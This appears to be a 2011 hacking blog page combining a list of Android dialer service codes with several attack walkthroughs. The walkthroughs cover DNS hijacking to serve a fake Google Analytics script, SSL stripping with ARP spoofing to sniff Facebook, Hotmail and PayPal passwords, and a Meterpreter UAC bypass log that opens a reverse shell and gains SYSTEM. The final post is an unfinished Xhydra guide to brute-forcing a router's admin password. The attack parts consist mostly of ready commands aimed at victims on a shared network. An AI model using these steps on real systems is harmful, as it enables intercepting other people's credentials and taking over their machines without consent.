Gtu Hacker | Computer Hack | Mobile Hack

Showing posts with label hack. Show all posts

Thursday, 17 November 2011

Secrets of android

1. Complete Info

*#*#4636#*#*

This code can be used to get some interesting information about your phone and battery. It shows following 4 menus on screen:

Phone information
Battery information
Battery history
Usage statistics

2. Factory data reset

*#*#7780#*#*

This code can be used for a factory data reset. It’ll remove following things:

Google account settings stored in your phone
System and application data and settings
Downloaded applications

It’ll NOT remove:

Current system software and bundled application
SD card files e.g. photos, music files, etc.

Note:

Once you give this code, you get a prompt screen asking you to click on “Reset phone” button. So you get a chance to cancel your operation.

3. Format Android Phone

*2767*3855#

Think before you give this code. This code is used for factory format. It’ll remove all files and settings including the internal memory storage. It’ll also reinstall the phone firmware.

Note:

Once you give this code, there is no way to cancel the operation unless you remove the battery from the phone. So think twice before giving this code.

4. Phone Camera Update

*#*#34971539#*#*

This code is used to get information about phone camera. It shows following 4 menus:

Update camera firmware in image (Don’t try this option)
Update camera firmware in SD card
Get camera firmware version
Get firmware update count

WARNING:

Never use the first option otherwise your phone camera will stop working and you’ll need to take your phone to service center to reinstall camera firmware.

5. End Call/Power

*#*#7594#*#*

This one is my favorite one. This code can be used to change the “End Call / Power” button action in your phone. Be default, if you long press the button, it shows a screen asking you to select any option from Silent mode, AirPlane mode and Power off.

You can change this action using this code. You can enable direct power off on this button so you don’t need to waste your time in selecting the option.

6. File Copy for Creating Backup

*#*#273283*255*663282*#*#*

This code opens a File copy screen where you can backup your media files e.g. Images, Sound, Video and Voice memo.

7. Service Mode

*#*#197328640#*#*

This code can be used to enter into Service mode. You can run various tests and change settings in the service mode.

8. WLAN, GPS and Bluetooth Test Codes:

*#*#232339#*#* OR *#*#526#*#* OR *#*#528#*#* – WLAN test (Use “Menu” button to start various tests)

*#*#232338#*#* – Shows WiFi MAC address

*#*#1472365#*#* – GPS test

*#*#1575#*#* – Another GPS test

*#*#232331#*#* – Bluetooth test

*#*#232337#*# – Shows Bluetooth device address

9. Codes to get Firmware version information:

*#*#4986*2650468#*#* – PDA, Phone, H/W, RFCallDate

*#*#1234#*#* – PDA and Phone

*#*#1111#*#* – FTA SW Version

*#*#2222#*#* – FTA HW Version

*#*#44336#*#* – PDA, Phone, CSC, Build Time, Changelist number

10. Codes to launch various Factory Tests:

*#*#0283#*#* – Packet Loopback

*#*#0*#*#* – LCD test

*#*#0673#*#* OR *#*#0289#*#* – Melody test

*#*#0842#*#* – Device test (Vibration test and BackLight test)

*#*#2663#*#* – Touch screen version

*#*#2664#*#* – Touch screen test

*#*#0588#*#* – Proximity sensor test

*#*#3264#*#* – RAM version

I think u will like this …

Tuesday, 15 November 2011

Google Analytics hack | Dns smuggling
i'll discuss the technique that is used for this and somehow you have to do this stuff on your own
Alright, to pull this off, The only tough thing you have to pull off is getting control of the target’s DNS somehow. More specifically, we need to at least control the resolution to a single specific DNS record. There’s dozens of ways to do this, including, but not limited to..:

Actually being a man-in-the-midde, and using dnsspoof, ettercap, what have you.
Compromising the victim’s DNS server. Less likely if they’re using a major provider, but maybe you’re pen-testing an organization that runs one internally.
Add a record to the victim’s hosts file. This obviously requires some access already, but it would give you some additional permanence on a box, and help escalate you past what you have access to without their web passwords. It’s also not likely to be noticed if the victim doesn’t have some kind of file integrity tripwire set up.
Changing the DNS server on a router. Easy to do on your average home wireless router run by the inept, and still possible if an organization hasn’t properly secured their routers.
Run a fake DHCP server, and hand out your DNS server’s address to clients. This can go along well with PwnPlugs, for example.

So once we can do that, we just need to get their browser to believe that “www.google-analytics.com”, aka “www-google-analytics.l.google.com”, is at an IP address where we have a web server running on port 80.
Interestingly, Google makes this easy for us, in that we don’t have to worry about SSL, or certificate errors. We probably don’t have a way to make our web server’s SSL certificate match the one for Google’s, but that’s okay. In the javascript included on web pages that use it, Google Analytics actually checks to see if the site is being accessed via SSL, and if so, it calls the Analytics code from an entirely different host name, ssl.google-analytics.com, rather than www.
This means that if the victim accesses a site using Google Analytics over SSL from the start, we don’t get access, but the user also doesn’t get alerted. However, if the site initially loads unencrypted, we can hijack things and replace any links to https with regular http links from then on out.

Sniff SSL | https password sniffing

Tool requirement:
sslstrip, ettercap, arpspoof already in backtrack .

Procedure
Ok well I'v seen a couple people complaining about not being able to sniff facebook, hotmail and paypal passwords. This is because these sites use an https connection. So before you can sniff these passwords in a mitm attack you need to strip the ssl. Ettercap does have an ssl stripping ability but we're going to use sslstrip because it's better.

First thing you need to get it backtrack 4 pre-final. Or you can use another linux distro, and add the tools yourself.
1. First we need to find out what your subnet and default gateway is. Open up a shell.
Code:
route

you will get something like this
Code:

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface

192.168.1.0 * 255.255.255.0 U 0 0 0 wlan0

default 192.168.1.254 0.0.0.0 UG 0 0 0 wlan0

in my case 192.168.1.254 is the gateway. Therefore 192.168.1.1 is the subnet and we use that with nmap.

2. So now we use nmap to find other machines on the network. 

Code:

nmap -sP 192.168.1.1/24 |grep "Host"

3. Now we need to enable ip tables in ettercap.

Code:

nano /etc/etter.conf

scroll down untill you find these lines in the file



Code:



# if you use iptables:

#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Change them to this

Code:

# if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Hit Ctrl-X then y then enter



4. Now we create our iptables rule

Code:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000



5. Now we need to enable ip forwarding

Code:

echo 1 > /proc/sys/net/ipv4/ip_forward

6. Now we need to find the interface your using.

Code:

ifconfig



find the interface with your ip address listed underneath it. In my case it's wlan0.



7. Now start sslstrip 

Code:

sslstrip -a -k -f



OPTION A: (better)

1. Open a new shell and start arpspoof

Code:

arpspoof -i wlan0 -t 192.168.1.101 192.168.1.254



wlan0 is my interface

192.168.1.101 is my target ip

192.168.1.254 is my gateway



2. Finally, open up another shell and start ettercap in sniffer mode.

Code:

ettercap -T -q -i wlan0

wlan0 being your interface

The sniffed passwords will come up in the ettercap window.

Last thing. Arpspoof will not re-arp the victims for you. So just start arp-spoofing with ettercap and shut it down right away.



Code:

ettercap -T -M arp:remote -i wlan0 /192.168.1.254/ /192.168.1.101/



interface: wlan0 

gateway: 192.168.1.254

target: 192.168.1.101



then just hit "q" and ettercap will re-arp your victim. I usually   already have this command typed and ready to go in a new shell so I can   quickly fix the arp cache when I'm done.



OPTION B: (easier)

open up a new shell and start ettercap

Code:

ettercap -T -i wlan0 -q -M arp:remote /192.168.1.254/ /192.168.1.101/



interface: wlan0

gateway: 192.168.1.254

target: 192.168.1.101 (leave target blank "//" to poison entire network)

How to hack windows 7 kevin mitnick style
Here is a nice new addition to bypass UAC through meterpreter. It all came about when Kevin Mitnick was on a pentest and needed to bypass Windows 7 UAC. We stumbled upon an old post from Leo Davidson (http://www.pretentiousname.com/misc/win7_uac_whitelist2.html) on bypassing Windows UAC. This method takes advantage of process injection that has a trusted Windows Publisher Certificate (example explorer.exe which runs at medium integrity). This is fully functioning on both x86/64 bit platforms. Source code is in the zip along with the meterpreter plugin here.

[*] Sending stage (749056 bytes) to 172.16.32.130
[*] Meterpreter session 1 opened (172.16.32.128:443 -> 172.16.32.130:1544) at Fri Dec 31 20:43:24 -0500 2010
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.
meterpreter > run bypassuac
[*] Creating a reverse meterpreter stager: LHOST=172.16.32.128 LPORT=4546
[*] Running payload handler
[*] Uploading Windows UACBypass to victim machine.
[*] Bypassing UAC Restrictions on the system….
[*] Meterpreter stager executable 73802 bytes long
[*] Uploaded the agent to the filesystem….
[*] Executing the agent with endpoint 172.16.32.128:4546 with UACBypass in effect…
meterpreter > [*] Meterpreter session 2 opened (172.16.32.128:4546 -> 172.16.32.130:1547) at Fri Dec 31 20:43:40 -0500 2010
meterpreter >
Background session 1? [y/N]
msf exploit(handler) > sessions -i 2
[*] Starting interaction with 2…
meterpreter > getsystem
…got system (via technique 1).
meterpreter > shell
Process 416 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>

Monday, 14 November 2011

Hacking Router Login Password using Xhydra

We are going to hack a ADSL router password using Xhydra in Backtrack 4. Here my router is Beetel 450tc1 wifi ADSL2+ router.

> Requirement ::
One fully working pc ,Backtrack os, and some patience

> Process ::

Boot Backtrack,

1. start Run command, type xhydra and press enter.

2. xhydra GUI opens, In the target tab, select
Single Target : 192.168.1.1
Protocol: http-get

3. In passwords tab, select

username: admin (because most of the routers have default username as admin)

In the passwords, select the password list option and browse to select your passwords file. In backtrack default passwords file is under the directory "/pentest/passwords/sshatter/" in the file name passwords. Here i have used my custom password file.